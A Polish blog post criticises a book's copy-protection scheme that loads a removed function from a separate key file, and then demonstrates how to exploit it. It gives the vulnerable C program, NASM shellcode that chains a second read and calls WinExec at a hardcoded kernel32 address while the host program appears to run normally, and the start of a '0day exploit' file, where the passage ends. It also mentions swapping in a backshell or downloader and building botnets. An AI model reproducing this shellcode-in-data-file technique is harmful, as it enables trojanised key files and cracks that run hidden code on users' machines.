piątek, 15 grudnia 2017

Wytrych programowy.

"Living easy, loving free"
                        ~AC/DC - Highway To Hell


W dzisiejszych czasach każdy może napisać książkę, wydać ją, pochwalić się znajomym, zyskać rozgłos i czerpać
z tego korzyści materialne. Jednak przed wydaniem swojego dzieła powinno się zadbać o to, aby temat był w 100%
wyczerpany a autor powinien być specjalistą w swojej dziedzinie, tymbardziej jeżeli wydaje się poradnik.
Jednak co się stanie, jeżeli tak nie jest? Otórz, pewien czas temu wpadła mi w ręce publikacja dotycząca
zabezpieczania programów przed ich ewentualnym złamaniem, tj. dotycząca zabezpieczania programów w taki
sposób, aby niemożna było ich nieodpłatnie używać. W książce widziałem nie tyle poradnik co wyzwanie,
które pozwoli sprawdzić mi swoje umiejętności i być może nabyć nowe. Książka została wydana pod patronatem
Helionu - ogólnopolskiego i największego wydawnictwa informatycznego w polsce. Powinna zatem być dziełem
z górnej półki. Po krótkiej lekturze można dojść do wniosku, że autor nie bardzo wiedział co robi
decydując się na upublicznienie swoich zapisków. Kolejna myśl jaka przyszła mi do głowy to to, że
w świecie oprogramowania, świecie w którym powinno dążyć się raczej do wolnośći (czytaj: bezpłatnośći)
pojawia się osoba która propaguje komercjalizację. Autor bez wątpienia jest osobą o wybujałej wyobraźni,
ślepo zapatrzonym w zapełnianie kartek (nie bardzo wiem po co umieszać na kartach fragmenty kodów źródłowych,
żeby zapełnić miejsce? skoro dołączona została płyta) i pozornie tematykę książki. Otórz publikacja,
która ma w tytule przymiotnik "Bezpieczne" powinna dbać o bezpieczeństwo potencjalnych aplikacji i -
co najważniejsze - użytkowników. Szczególnie moją uwagę przykuł - jak do tej pory - jeden sposób na
autoryzację programu. Sam autor wypowiada się o nim dosyć entuzjastycznie i klasyfikuje go jako
"zaawansowaną metodę zabezpieczenia programu". Owa metoda traktuje o usunięciu pewnej, kluczowej części programu
i umieszczeniu jej w oddzielnym pliku, tak aby bez uiszczenia opłaty program nie był w pełni funkcjonalny.
Innymi słowy; użytkownik powinien dokupić sobie brakujący fragment układanki. Cytując książkę:
"Może to być krótszy lub dłuższy plik, jednak bez jego dostępności program nie zadziałą poprawnie
i dość ciężko będzie go skrakować. Jeśli klucz programowy jest odpowiednio długi, to złamanie programu staje się zadaniem
niemal porównywalnym do napisania go częściowo od nowa. Jest to oczywiście niewykonalne(!), bowiem
włamywacz nie wie, jakich instrukcji brakuje w kodzie, jakie są poprawne i gdzie je wstawić"
Geniusz, nieprawdaż?
Oczywiście oprogramowania antywirusowego używamy żeby zasobnik ( ten obok zegarka )
był bardziej kolorowy... Autor zna oczywiście pojęcie Crack (z ang. złamany )- wersja komercjalnego
programu pozbawiona już zabezpieczeń - dostępna w internecie za darmo. Można pokusić się o stwierdzenie,
że Kraki są tak samo popularne ( a może nawet bardziej popularne ) co większość aplikacji dostępnych na rynku.
Typowy zjadacz chleba którego nie stać na licencje oczywiście uzna takie rozwiązanie za dużo lepsze, niż
w przypadku gdy miałby wydać 1/2 wypłaty na zakup funkcjonalności oprogramowania - sam nie potępiam
takiego zachowania. Pozostaje jeszcze kwestia bezpieczeństwa; pobierając cokolwiek z nieoficjalnego
źródła (chociaż słyszałem o przypadkach infekowania, bądź podmiany aplikacji na oficjalnych stronach producentów
- jak widać nigdzie nie można czuć się bezpiecznie) NARAŻAMY SIĘ na jakiś nieoficjalny dodatek do aplikacji.
Najczęstrzą przyczyną takiego procederu jest budowanie bootnetów; no cóż wszędzie trzeba wykazać się kreatywnością.
Teraz przychodzi pora na zastanowienie się jak wyglądałby Crack aplikacji opisanej w książce. Na myśl przychodzą mi dwie możliwości;
pierwsza - gotowa aplikacja uzupełniona o brakujące części kodu, która mogłaby obudzić nieufność użytkowników,
i druga - odpowiedni plik z Kluczem Programowym. Oba rozwiązania równie niebezpieczne, jednak przy drugim
należałoby wykazać się odrobiną fantazji, ale rownież mieć większe szanse na powodzenie ze strony potencjalnego ataku.
Postaram się pokazać w jaki sposób można by było tego dokonać, mając na wzglęzie czynnik ludzki - nawet gdyby oprogramowanie
antywirusiwe zaczęło piszczeć, prawdopodobnie mało kto potraktowałby je poważnie - bowiem zdaniem
większości pliki bez rozszerzenia '.exe' nie są tak groźne, jak te, które je posiadają. Co jest oczywistym błędem w myśleniu.
Tyle wstępu, pora brać się do dzieła.

Co będzie potrzebne?
Otórz potrzebować będziesz Czytelniku następujących programów:
 -OllyDbg (debugger, który w klarowny sposób odkryje przed nami meandry aplikacji, osobiście przezemnie polecany - dowolna wersja)
 -DevCpp  (kompilator języka C [właściwie to gcc kompiluje, a Dev to tylko GUI, ale nie czepiajmy się] - dowolna wersja)
 -NASM    (asembler x86, którego będziemy używać do stworzenia naszego kodu powłoki - darmowy)
 -ld      (linker)
 -objdump (program analizujący pliki obiektowe)

Skąd wziąść dwa ostatnie programy? Jeśli mamy na dysku DevCpp to posiadamy również ld i objdump (%DevCppDirectory%\bin\).
Zalecam przekopiowanie ich do folderu z NASMem, dla większej wygody - rzecz jasna.

Oto kod aplikacji, przerobionej w taki sposób, aby można było używać jej w darmowym środowisku DevC++.
Do porównania umieściłem na końcu wersje umieszczoną oryginalnie na płycie CD dostępnej z książką.

No to zaczynamy :

/**************************************************************************************************************
<Klucz-Programowy-app2.c>
**************************************************************************************************************/

#include <stdlib.h>
#include <stdio.h>
#include <windows.h>

/* Funkcja, którą będziemy starali się 'sprzedać' */
unsigned short ChronionaFunkcja(void)
{
    /* Zachowanie oryginalnie zabezpiecznanej czesci programu */
    int i,wynik = 1;
    for(i = 0; i < 5; ++i)
        wynik += wynik * 2;
    return wynik;   
}

/* Funkcja odpowiedzialna za wczytywanie Klucza Programowego */
void Load(void *adres , unsigned short RozmiarKodu,char * SciezkaPliku) /* Zachowanie oryginalu*/
{
     char Tablica[128] = {0};
     FILE * Load;
     if((Load=fopen(SciezkaPliku,"rb"))==NULL)
     {
        printf("Blad w otwarciu pliku ! \n");
        return;
     }
     if(RozmiarKodu==fread(Tablica,sizeof(char),RozmiarKodu,Load))
     {
        HANDLE Process = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE, 1, GetCurrentProcessId());
        WriteProcessMemory(Process,adres,Tablica,RozmiarKodu,NULL);
        CloseHandle(Process);
     }
    
     close(Load);
}

/* Funkcja odpowiedzialna za zapis chronionej części programu do osobnego pliku */
void Zrzut(void *adres,unsigned short RozmiarKodu)                     /* Zachowanie oryginalu*/
{
     char Tablica[128] = {0};
     SIZE_T Odczyt;
     HANDLE Process = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ, 1, GetCurrentProcessId());
     ReadProcessMemory(Process,adres,Tablica,RozmiarKodu,&Odczyt);
     CloseHandle(Process);
    
     if(Odczyt!=RozmiarKodu)
      printf("Zrzut FAIL ! \n");
     
     FILE * Zrzut;
     if((Zrzut=fopen("dump_of_func.dat","wb"))==NULL)
     {
       printf("Blad w otwarciu pliku ! \n");
       return;
     }
    
     fwrite(Tablica,sizeof(char),RozmiarKodu,Zrzut);
     fclose(Zrzut);
}

unsigned short Glowna(short a)
{
     
         switch(a)
         {
                  case 2:            /* Zapis chronionego fragmentu programu do pliku */
                         Zrzut(ChronionaFunkcja,53);
                         break;
                  case 3:            /* (!) Wczytanie chronionego fragmentu z pliku   */
                         Load(ChronionaFunkcja,52,"dump_of_func.dat");
                         break;
         }
        
        return ChronionaFunkcja();
}       
int main(int argc,char **argv)
{
    unsigned short zwrot = 0;
    if(argc==0)
    {
      zwrot = Glowna(1);
    }
    else
    {
      int a = atoi(argv[1]);
     
      switch(a)
      {
               case 1:
                      zwrot = Glowna(1);
                      break;
               case 2:
                      zwrot = Glowna(2);
                      break;
               case 3:
                      zwrot = Glowna(3);
                      break;
               default:
                       zwrot = Glowna(1);
      }
      
    }
       printf("Wynik z zabezpieczenia : (%d) (%X) \n",zwrot,zwrot);
       return 0;
}

/**************************************************************************************************************
</Klucz-Programowy-app2.c>
**************************************************************************************************************/

Poniżej krótkie wyjaśnienie działania programu (przyjmuje on argumenty z wiersza poleceń) :

Klucz-Programowy-app2.exe   - normalne wykonanie programu.
Klucz-Programowy-app2.exe 2 - normalne wykonanie + zapis zabezpieczonej funkcji do pliku.
Klucz-Programowy-app2.exe 3 - załadowanie brakującej części programu i jej wykonanie.

Normalne wykonanie programu wygląda następująco:
"Wynik z zabezpieczenia : (243) (F3)"

Załóżmy jednak, że chcemy aby funkcja zwróciła nam wynik w postaci "0xAAAA".
Oto jak tego dokonać:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;<Return_0xAAAA-Klucz-Prog.ASM>                                                                              ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
global _start
section .text
;bez ekstrawagancji, po prostu funkcja zamiast zwrocic swoja wartosc zwroci 0xAAAA
_start:
        PUSH EBP                   ;
        MOV EBP,ESP            ; Ramka stosu
        SUB ESP,8                   ;   
       
        XOR AX,AX               ; funkcja 'ChronionaFunkcja' jest typu unsigned short zatem wykorzystujem tylko 2 bajty
        MOV AX,0xAAAA    ; w eax znajduje się zwracana wartość
       
        MOV ESP,EBP            ;
        POP EBP                     ; Przywrócenie oryginalnej ramki stosu
        RET                             ;

times 53 - ($-_start) db 0x90    ; dopełnienie długości pliku do 53 bajtów, zamiast instrukcji NOP można użyć 0x00
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;</Return_0xAAAA-Klucz-Prog.ASM>
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

Jak zrobić z tego kodu w asemblerze kod dla procesora? Trzeba posłużyć się następującymi poleceniami:



Efekt powinien być taki jak na powyższej ilustracji.

Powyższa funkcja w postaci kodu powłoki wygląda następująco:

char *return_AAAA = "\x55\x89\xe5\x81\xec\x08\x00\x00\x00\x66\x31\xc0\x66\xb8\xaa\xaa"
                                     "\x89\xec\x5d\xc3\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                                     "\x90\x90\x90\x90\x90";

Należy zwrócić uwagę, że ładowany domyślnie kod w tej wersji będzie mógł mieć tylko 53 bajty.
Co na początku może wydawać się trudne do obejścia. Jednak "programista" sam podsuwa nam rozwiązanie
tego problemu w postaci funkcji 'Load', która przyjmuje argumenty w postaci adresu(!) od którego kod
zostanie zmodyfikowany, rozmiaru modyfikacji i nazwy pliku. Czego można chcieć więcej?
Nie zamierzam pokazać jak mogłoby wyglądać dosłowne wykorzystanie takiego blędu,
a jedynie pokazać, że 52 bajty zupełnie wystarczą aby przejąć kontrolę nad programem.

Jak widzimy w oknie debuggera funkcja ChronionaFunkcja() znajduję się dokładnie 52 bajty przed
funkcją Load(), będzie to naszym głównym punktem odniesienia. W tych pierwszych 52 bajtach
trzeba jedynie podać nowe argumenty funkcji Load(), funkcja wykona się bowiem w normalnym biegu programu.

Jak pokazałem w dalszej części artykułu CALL to zwykły Jump pod podany offset, w naszym przypadku nie trzeba nigdzie skakać,
kod powłoki przy pierwszym uruchomieniu ustawi odpowiednie argumenty i sam przejdzie do funkcji Load() 

Z kodu programu przy standardowym uruchomieniu wynika jasno, że z pliku zostaną
wczytane tylko pierwsze 53 bajty. Dalsza część naszego kodu może być więc umieszczona w tym samym pliku, tylko należy odczytać z niego
trochę więcej pamięci. Żeby unaocznić taki przykład dodamy do programu funkcje, która została z niego pierwotnie usunięta.
Zapis zaczniemy od pierwotnego punktu, chociaż do dyspozycji mamy praktycznie całą sekcję kodu. Przykład ten pokaże,
że pomimo znaczących zmian w kodzie, program z punktu widzenia zwykłego użytkownika wykona się zupełnie normalnie (got bootnet? [:).


Zanim jednak zaczniemy robić cokolwiek, przydałoby się zachować oryginalny adres powrotu,
narazie do EDI.

        POP EDI

Na początku przydałoby się sprawdzić czy jest to pierwsze wczytanie naszej funkcji.
Tak żeby kod powłoki "wiedział" które to uruchomienie. Potrzebne nam to do tego, żeby
nie potrzebnie nie zaśmiecać pamięci i od razu przejść do rzeczy, kiedy wczytana
zostaje reszta instrukcji z pliku.
Aby dokonać tego zuchwałego czynu wybierzemy sobie pewien offset z segmentu danych
i wpiszemy do niego pewną wartość przed wykonaniem funkcji Load. Tym magicznym miejscem będzie
początek segmentu .data - bez zbędnego kombinowania. Najpierw jednak musimy zadbać o pierwszy argument,
którym jest adres pod którym funkcja Load umieści wczytany z pliku kod,
aby go zdobyć posłużymy się pewną sztuczką, tak będzie wyglądać następna część naszego kodu:

        CALL GET_ADDRESS
GET_ADDRESS:
        POP ECX    
       
A coż to takiego? Ano jest to odpowiedź na nasz problem, bowiem instrukcja CALL FUNKCJA jest tak naprawdę równy pseudo kodowi:
       
        PUSH CS                   ;tylko jeśli far
        PUSH IP_NEXT       ;adres instrukcji po CALL
        JMP FUNKCJA        ;skok w podane miejsce
       
O co tu chodzi? Spieszę z wyjaśnieniem, otórz na stosie najpierw ląduje adres następnej instrukcji po CALL, a dopiero
później jest wykonywany skok pod dany offset. Dlaczego tak się dzieje? Bowiem instrukcja RET(lub RETF) ściąga
adres ze stosu i wykonuje skok pod IP_NEXT, stąd nie trudno się domyśleć, że jeżeli po instrukcji CALL
znajduje się instrukcja POP ECX, to adres który w niej wyląuje będzie właśnie adresem powrotu. Jeśli takie instrukcji
znajdują się na początku funkcji to w ECX wyląduje adres obecnie uruchomionej funkcji.





    Teraz możemy się skupić na tym, aby sprawdzić czy jest to pierwsze wywołanie tej funkcji czy drugie,
potrzebne nam to będzie, żeby nie tracić czasu i niepotrzebnie zaśmiecać pamięci.
W tym celu porównamy sobie bajt spod wcześniej wyliczonego adresu. Niech będzie to bajt równo
z początku segmentu danych, tak jak pisałem wcześniej. Jak tego dokonać bez znajomości ImageBase?
Jak widzimy offset w EBX to ImageBase+RVA, RVA to w tym przypadku zajmuje tylko 2 bajty należy
zatem wyzerować dwa niższe bajty EBX, czyli BX.

       
           
;             BHBL
; [EBX=0x0040{FFFF}] -> XOR BX,BX -> [EBX=0x0040{0000}]
;              BX

        LEA EBX,[ECX]                    ;EBX = *ECX
        XOR BX,BX                           ;Zerujemy dwa dolne bajty
       

           
Mamy dostęp do początku programu, a zatem również do nagłówka PE,a jak wszyscy pamiętamy z przedszkola pod offsetem
0x0B znajduje się tzw. BaseOfData jest to RVA początku sekcji danych, my potrzebujemy natomiast VA,a jak powszechnie
wiadomo VA = ImageBase+RVA. W EBX jest ImageBase, a w EDX aktualnie znajduje sie RVA do Sekcji Danych.
Pora dodać do siebie te rejestry:

        LEA EDX,[EBX+0xB0]                      ;Gdzie jest offset do Segmentu Danych?
        MOV EDX,DWORD[EDX]                ;Ano tutaj (:
        ADD EBX,EDX                                   ;VA DS
       
       

Jak już pisałem, wcale nie trzeba wykonywać skoku do funkcji Load(), program sam ją wykona w naturalnym biegu.
Musimy jedynie zadbać o to, aby na stosie były odpowiednie argumenty, a Load() sam sobie z nimi poradzi.

        CMP BYTE [DS:EBX],0xD3           ;Sprawdzamy czy to pierwsze uruchomienie
        JE HACK                                          ;Jeśli nie, to główna funkcja exploita

Z naszego punktu widzenia jest to pierwsze uruchomienie, a zatem powinniśmy zachować
gdzieś oryginalny adres powrotu, który na samym początku ściągnęliśmy ze stosu
do EDI, tym miejscem będzie EBX+4, czyli następne 4 bajty segmentu danych.
Ale najpierw zaznaczmy, że jest to pierwsze uruchomienie.

        MOV BYTE [DS:EBX],0xD3               ; Zaznaczamy, że to jest pierwsze uruchomienie
        MOV DWORD [DS:EBX+4],EDI        ; 4 bajty dalej zapisujemy oryginalny adres powrotu

Rzućmy okiem na ten zrzut:




00403000  72 62 00 42 6C 61 64 20 77 20 6F 74 77 61 72 63  rb.Blad w otwarc
00403010  69 75 20 70 6C 69 6B 75 20 21 20 0A 00 5A 72 7A  iu pliku ! ..Zrz
00403020  75 74 20 46 41 49 4C 20 21 20 0A 00 77 62 00 64  ut FAIL ! ..wb.d
00403030  75 6D 70 5F 6F 66 5F 66 75 6E 63 2E 64 61 74 00  ump_of_func.dat.
00403040  57 79 6E 69 6B 20 7A 20 7A 61 62 65 7A 70 69 65  Wynik z zabezpie



Jak widzimy offset do ciągu znaków z nazwą pliku znajduje się równo (0x0040302F - 0x00402000) 102F bajtów dalej.
A zatem gdyby tą wartość dodać do EBX, mielibyśmy offset do pierwszego(ostatniego) argumentu funkcji Load.

[Zaleca się sprawdzenie u siebie, pod jakią różnicą offsetów znajduje się napis 'dump_of_func.dat',
 bowiem istnieje prawdopodobieństwo, że offset będzie ten mógł różnić się w zależności od wykonanych
 w programie wejściowym  modyfikacji (tak nawiasem mówiąc; nie zaleca się w nim modyfikacji, bierzemy go takim
 jakim jest - chciało by się rzec :)) i wersji OSa na którym kompilowany był kod]

        ADD EBX,0x102F
       


W EBX pora odłożyć ten argument na stos, tak jak i pozostałe:

        PUSH EBX    ; char * SciezkaPliku
        PUSH 0x80    ; unsigned short RozmiarKodu
        PUSH ECX    ; void *adres
        PUSH ECX    ; ląduje zamiast oryginalnego adresu powrotu bowiem ramka stosu przed wykonaniem musi się zgadzać
                               ; Umieszczenie tego adresu jako adresu powrotu gwarantuje nam, że program po zakończeniu funkcji Load()
                               ; odrazu przejdzie do naszego kodu powłoki.

A całość powinna prezentować się następująco, są to pierwsze 52 bajty naszego Shell Code:
section .text
_start:
       
        POP EDI                                                    ; Oryginalny adres powrotu do EDI
        CALL GET_ADDRESS                           ; Umieszczamy EIP na stosie
GET_ADDRESS:
        POP ECX                                                  ; ECX = adres początku funkcji ChronionaFunkcja(), jak doskonale wiemy funkcja Load znajduje się dokładnie 53 bajty dalej
        LEA EBX,[ECX]                                     ; EBX=[ECX]
        XOR BX,BX                                            ; 0x00401290 -> 0x00400000 (przynajmniej u mnie ta funkcja leży pod adresem 0x00401290
        LEA EDX,[EBX+0xB0]                          ; EDX = 0x00400000 = PE Header -> PE Header+0xB0 = Base Of Data (RVA)
        MOV EDX,DWORD[EDX]                    ; Wartość z pod EDX do EDX
        ADD EBX,EDX                                       ; EBX = DataSegment
        CMP BYTE [DS:EBX],0xD3                  ; Pierwsze uruchomienie?
        JE HACK                                                 ; Jeśli nie to skok
        MOV BYTE [DS:EBX],0xD3                 ; Zaznaczamy, że to jest pierwsze uruchomienie
        MOV DWORD [DS:EBX+4],EDI          ; 4 bajty dalej zapisujemy oryginalny adres powrotu
        ADD EBX,0x102F                                ; EBX = "dump_of_func.dat"
        PUSH EBX                                            ; char * SciezkaPliku
        PUSH 0x80                                            ; unsigned short RozmiarKodu
        PUSH ECX                                            ; void *adres
        PUSH ECX                                            ; ląduje zamiast oryginalnego adresu powrotu bowiem ramka stosu przed wykonaniem musi się zgadzać
        HACK:
       
       
times 52 - ($-_start) db 0x90                          ; Bardzo pożyteczne, zwłaszcza jeśli jesteśmy ograniczeni pamięciowo do danego
                                                                        ; rozmiaru. Jeśli go przekroczymy asembler zwróci błąd, że tablica ma ujemny indeks.

Pozwolą one na ponowne wykonanie funkcji Load()- tylko z nowymi argumentami, tym razem wczytanych zostanie
128 bajtów.

Wykorzystanie ECX powtórnie w roli adresu powrotu spowoduje, że funkcja Load zaraz po nadpisaniu swoich 76 bajtów
wykona skok na początek kodu powłoki . Kod powinien zauważyć, że jest to jego drugie uruchomienie i odrazu przejść
do głównej funkcji.

Naszym "destrukcyjnym" działaniem będzie uruchomienie kalkulatora, właściwie możemy zrobić tutaj cokolwiek,
np. uruchomić backshella na dowolnym porcie, uruchomić downloadera etc. Nie jest to jednak celem tego artykułu.

I tutaj przyda się nam napisany przeze mnie program GetAddr.c, którego kod prezentuje poniżej.
A po co nam GetAddr? A no po to, aby wiedzieć pod jakimi adrsami kryją się funkcje (w tym przypadku
WinExec) w systemowych bibliotekach, bowiem zależnie od systemu i jego wersji (Service Pack)
adresy te są zupełnie inne. - Chwila, chwila.... A zatem będzie to exploit pod konkretną wersję systemu i jej kompilację?
-Zgadza się.-Ale przecież każdy dobry exploit powinien być - tak jak każdy dobrze napisany program - przenośny.-Oczywiście jest to
możliwe, jak najbardziej - wystarczy dobrać się do ImportTable i stamtąd zczytać odpowiednie adresy.
Nie pokażę teraz jak tego dokonać, nie wszystko na raz, przyjemności należy stopniować :p
Na potrzeby naszego przykładu kod z podstawieniem własnych adresów w zupełności wystarcza :D

/**************************************************************************************************************
<GetAddr.c>
**************************************************************************************************************/
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>

int main(int argc,char **argv)
{
    if(argc<2)
    {
               printf("[?]Arguments[?]\n\n");
               return 0;
    }
   
    int *Addr;
    HMODULE hLibrary;
   
    if((hLibrary=LoadLibrary(argv[1]))==NULL)
      {
          printf("[!]Can't load %s [!]\n\n",argv[1]);
          return 0;
      }
   
    printf(".Success LoadLibrary\n.\n");
   
    if((Addr = GetProcAddress(hLibrary,argv[2]))==NULL)
      {
          printf("[!]Cat't get address of function %s in %s [!]\n\n",argv[2],argv[1]);
          FreeLibrary(hLibrary);
          return 0;
      }
     
    printf(".Success GetProcAddr\n.\n");
   
    printf(".Address of %s is 0x%X \n\n",argv[1],Addr);
   
    FreeLibrary(hLibrary);
    return 0;
   
}
/**************************************************************************************************************
</GetAddr.c>
**************************************************************************************************************/

Program przyjmuje dwa argumenty: nazwę biblioteki .dll i nazwę funkcji, której adresu będziemy potrzebować.
My potrzebujemy adresu funkcji WinExec, która znajduje się w systemowej bibliotece kernel32.dll .
U mnie wygląda to w następujący sposób:



W moim przypadku funkcja WinExec w bibliotece kernel32.dll mieści się pod adresem 0x75E9E76D.
Jej argumenty to WinExec(LPSTR nazwa_pliku,UINT Opcja) /*LPSTR Windowsowski odpowiednik char *,     */
Przy czym opcja może być następująca:                  /*UINT   -  | | -    odpowiednik unsigned int*/

 SW_HIDE 0
 SW_NORMAL 1
 SW_SHOWNORMAL 1
 SW_SHOWMINIMIZED 2
 SW_MAXIMIZE 3
 SW_SHOWMAXIMIZED 3
 SW_SHOWNOACTIVATE 4
 SW_SHOW 5
 SW_MINIMIZE 6
 SW_SHOWMINNOACTIVE 7
 SW_SHOWNA 8
 SW_RESTORE 9
 SW_SHOWDEFAULT 10
 SW_FORCEMINIMIZE 11
 SW_MAX 11

Uruchomimy kalkulator normalnie, a zatem zdecydowaliśmy się na opcje SW_NORMAL/SW_SHOWNORMAL.
Pytanie skąd teraz wziąść nazwę pliku? Sami ją sobie zapiszemy, mamy wszak dostęp do sekcji
danych, nazwę umieścimy zaraz za zapisanym adresem powrotu. Jak można zauważyć 'calc.exe'
to równo 8 bajtów, zrobimy to w ten sposób:


DESTRUCTION:                             ;D
       
       
       
        MOV DWORD [DS:EBX+8] ,0x636c6163  ; EBX+8  = 'calc'
        MOV DWORD [DS:EBX+12],0x6578652e ; EBX+12 = '.exe'
       
teraz pora zająć się opcją WinExec-a i tym żeby na stosie znalazły się odpowiednie argumenty
zdecydowaliśmy się na SW_SHOWNORMAL, a zatem pierwszym argumentem, który wyląduje
na stosie będzie 1, następnie potrzebujemy offsetu do naszego 'calc.exe', a na samym
końcu powinniśmy zadbać o poprawny adres do WinExec, jak tutaj:

        XOR ECX,ECX                         ;Zerujemy ECX
        INC ECX                                   ;ECX = 1
        PUSH ECX                                ;SW_SHOW
        LEA EAX,[DS:EBX+8]            ;EAX = 'calc.exe'
        PUSH EAX                                ;EAX na stos
        MOV ECX,0x75E9E76D          ;ECX = kernel32.WinExec
        CALL ECX                                ;WinExec(EAX,1)
       
Teraz wystarczy tylko ustawić EAX na odpowiednią wartość i umieścić na stosie
właściwy adres powrotu.

        MOV EAX,0x00F3
        MOV DWORD EBX,[DS:EBX+4]        ; EBX = Oryginalny RET
        PUSH EBX                                             ; RET ADDR = EBX
        RETN   

Tak prezentuje się cały kod powłoki, który uruchamia kalkulator:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;<0DAY-SHELLCODE-KLUCZ_PROGRAMOWY.ASM>                                                                       ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

section .text
_start:
       
        POP EDI                                             ; Oryginalny adres powrotu do EDI
        CALL GET_ADDRESS                     ; Umieszczamy EIP na stosie
GET_ADDRESS:
        POP ECX                                            ; ECX = adres początku funkcji ChronionaFunkcja(), jak doskonale wiemy funkcja Load znajduje się dokładnie 53 bajty dalej
        LEA EBX,[ECX]                                ; EBX=[ECX]
        XOR BX,BX                                       ; 0x00401290 -> 0x00400000 (przynajmniej u mnie ta funkcja leży pod adresem 0x00401290
        LEA EDX,[EBX+0xB0]                     ; EDX = 0x00400000 = PE Header -> PE Header+0xB0 = Base Of Data (RVA)
        MOV EDX,DWORD[EDX]               ; Wartość z pod EDX do EDX
        ADD EBX,EDX                                  ; EBX = DataSegment
        CMP BYTE [DS:EBX],0xD3             ; Pierwsze uruchomienie?
        JE HACK                                            ; Jeśli nie to skok
        MOV BYTE [DS:EBX],0xD3            ; Zaznaczamy, że to jest pierwsze uruchomienie
        MOV DWORD [DS:EBX+4],EDI     ; 4 bajty dalej zapisujemy oryginalny adres powrotu
        ADD EBX,0x102F                              ; EBX = "dump_of_func.dat"
        PUSH EBX                                          ; char * SciezkaPliku
        PUSH 0x80                                          ; unsigned short RozmiarKodu
        PUSH ECX                                          ; void *adres
        PUSH ECX                                          ; ląduje zamiast oryginalnego adresu powrotu bowiem ramka stosu przed wykonaniem musi się zgadzać
        HACK:
       

times 52 - ($-_start) db 0x90                        ; Bardzo pożyteczne, zwłaszcza jeśli jesteśmy ograniczeni pamięciowo do danego
                                                                      ; rozmiaru. Jeśli go przekroczymy asembler zwróci błąd, że tablica ma ujemny indeks.
       
       
DESTRUCTION:                                          ;D
       
       
       
        MOV DWORD [DS:EBX+8] ,0x636c6163        ;[ EBX+8]  = 'calc'
        MOV DWORD [DS:EBX+12],0x6578652e       ; [EBX+12] = '.exe'
        XOR ECX,ECX                                                   ; Zerujemy ECX
        INC ECX                                                              ; ECX = 1
        PUSH ECX                                                          ; SW_SHOW
        LEA EAX,[DS:EBX+8]                                      ; EAX = 'calc.exe'
        PUSH EAX                                                          ; EAX na stos
        MOV ECX,0x75E9E76D                                    ; ECX = kernel32.WinExec (z GetAddr) 0x7607E76D
        CALL ECX                                                          ; WinExec(EAX,1)
       
       
        MOV EAX,0x00F3                                             ; przywracamy oryginalny wynik funkcji
        MOV DWORD EBX,[DS:EBX+4]                    ; EBX = Oryginalny RET(zapobiegamy wysypaniu się programu)
        PUSH EBX                                                         ; RET ADDR = EBX
        RETN                                                                  ; JMP RET
       
       
times 128 -($-HACK) db 0x90                                    ;tutaj również "ograniczamy się", tylko tym razem do 128

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;</0DAY-SHELLCODE-KLUCZ_PROGRAMOWY.ASM>                                                                      ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

I... po odpaleniu program wykonuje się normalnie (z punktu widzenia użytkownika)
plus uruchamia nam kalkulator :D :)))



Funkcja WinExec tworzy nowy proces, zatem kalkulator nie znika nam zaraz po zakończeniu nadrzędnej
aplikacji. Obiecałem na początku, że dodam do programu oryginalną funkcję, która została z niego
usunięta, ale postanowiłem zostawić to wam na zadanie domowe :) Tylko gdzie owa funkcja jest?
Ano w pliku dump_of_func.dat się ona znajduje, jeśli program odpalimy z argumentem 2.
Trochę ułatwię wam sprawę. Tak prezentuje się owa oryginalna ChronionaFunkcja() w C:

char *ChronionaFunkcja = "\x55\x89\xE5\x83\xEC\x08\xC7\x45\xF8\x01\x00\x00\x00\xC7\x45"
                                            "\xFC\x00\x00\x00\x00\x83\x7D\xFC\x04\x7F\x12\x8B\x45\xF8\x8D"
                                            "\x14\x00\x8D\x45\xF8\x01\x10\x8D\x45\xFC\xFF\x00\xEB\xE8\x8B"
                                            "\x45\xF8\x0F\xB7\xC0\xC9\xC3";

I Asembler:

db 0x55,0x89,0xE5,0x83,0xEC,0x08,0xC7,0x45,0xF8,0x01,0x00,0x00,0x00,0xC7,0x45,
db 0xFC,0x00,0x00,0x00,0x00,0x83,0x7D,0xFC,0x04,0x7F,0x12,0x8B,0x45,0xF8,0x8D,
db 0x14,0x00,0x8D,0x45,0xF8,0x01,0x10,0x8D,0x45,0xFC,0xFF,0x00,0xEB,0xE8,0x8B,
db 0x45,0xF8,0x0F,0xB7,0xC0,0xC9,0xC3

A oto jedyny i niepowtarzalny 0day exploit na aplikację KluczProgramowy:

/**************************************************************************************************************
<KluczProgramowy-0day-exploit.c>
**************************************************************************************************************/
#include <stdlib.h>
#include <stdio.h>

#define FILE_NAME "./dump_of_func.dat"

